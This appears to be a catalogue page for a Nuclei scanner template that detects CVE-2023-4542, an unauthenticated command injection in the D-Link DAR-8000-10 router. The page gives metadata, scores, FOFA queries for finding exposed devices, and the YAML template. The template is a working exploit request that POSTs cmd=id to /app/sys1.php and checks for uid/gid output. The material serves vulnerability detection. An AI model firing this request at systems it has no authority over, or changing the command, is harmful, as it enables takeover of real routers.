CVE-2023-4542: D-Link DAR-8000-10 - Command Injection
- Template: CVE-2023-4542
- Name: D-Link DAR-8000-10 - Command Injection
- Description: D-Link DAR-8000-10 version has an operating system command injection vulnerability. The vulnerability originates from the parameter id of the file /app/sys1.php which can lead to operating system command injection.
- Impact: Unauthenticated attackers can execute arbitrary operating system commands through the id parameter in /app/sys1.php, potentially gaining full control of the D-Link DAR-8000-10 router and intercepting all network traffic.
- Remediation: Update D-Link DAR-8000-10 firmware to a patched version that properly sanitizes the id parameter in sys1.php and prevents operating system command injection.
- Severity: critical
- Authors: pussycat0x
- Tags: cve, cve2023, dlink, vkev, vuln
- References: https://github.com/20142995/sectool, https://github.com/tanjiti/sec_profile, https://github.com/wy876/POC/blob/main/D-Link_DAR-8000%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E(CVE-2023-4542).md, https://vuldb.com/?ctiid.238047, https://vuldb.com/?id.238047
- Cves: CVE-2023-4542
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2023/CVE-2023-4542.yaml
- Digest: 4a0a00473045022100c3aba7b701b6f4cc43fe044a08de1736616b9281e668d1f44d1442775885766802202a02ae544fd26150c9259b686fbafe2b21dc3911ff3934ad2a9f5a31aa07e96a
- Created at: 2024-05-23T08:51:56Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 915
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-4542.yaml
Classification
- Cwe: CWE-78
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.84689
- Epss percentile: 0.99713
- Cpe: cpe:2.3:o:dlink:dar-8000-10_firmware:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: body="DAR-8000-10" && title="D-Link", body="dar-8000-10" && title="d-link"
- Max-request: 1
- Product: dar-8000-10_firmware
- Vendor: dlink
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| dlink:dar-8000-10_firmware | yes | /v1/products/dlink/dar-8000-10_firmware |
Labels
- Name: D-Link DAR-8000-10 - Command Injection
- Impact: Attackers can execute arbitrary OS commands, potentially leading to full system compromise or control.
- Remediation: Update to the latest firmware version or apply security patches provided by D-Link.
- Vulnerability type: command_injection
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2023-4542
- Not known: requirements
```yaml
id: CVE-2023-4542
info:
name: D-Link DAR-8000-10 - Command Injection
author: pussycat0x
severity: critical
description: |
D-Link DAR-8000-10 version has an operating system command injection vulnerability. The vulnerability originates from the parameter id of the file /app/sys1.php which can lead to operating system command injection.
impact: |
Unauthenticated attackers can execute arbitrary operating system commands through the id parameter in /app/sys1.php, potentially gaining full control of the D-Link DAR-8000-10 router and intercepting all network traffic.
remediation: |
Update D-Link DAR-8000-10 firmware to a patched version that properly sanitizes the id parameter in sys1.php and prevents operating system command injection.
reference:
- https://github.com/20142995/sectool
- https://github.com/tanjiti/sec_profile
- https://vuldb.com/?ctiid.238047
- https://vuldb.com/?id.238047
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-4542
cwe-id: CWE-78
epss-score: 0.84689
epss-percentile: 0.99713
cpe: cpe:2.3:o:dlink:dar-8000-10_firmware:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: dlink
product: dar-8000-10_firmware
fofa-query:
- body="DAR-8000-10" && title="D-Link"
- body="dar-8000-10" && title="d-link"
tags: cve,cve2023,dlink,vkev,vuln
http:
- raw:
- |
POST /app/sys1.php HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
cmd=id
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"
- type: status
status:
- 200
digest: 4a0a00473045022100c3aba7b701b6f4cc43fe044a08de1736616b9281e668d1f44d1442775885766802202a02ae544fd26150c9259b686fbafe2b21dc3911ff3934ad2a9f5a31aa07e96a:922c64590222798bb761d5b6d8e72950
```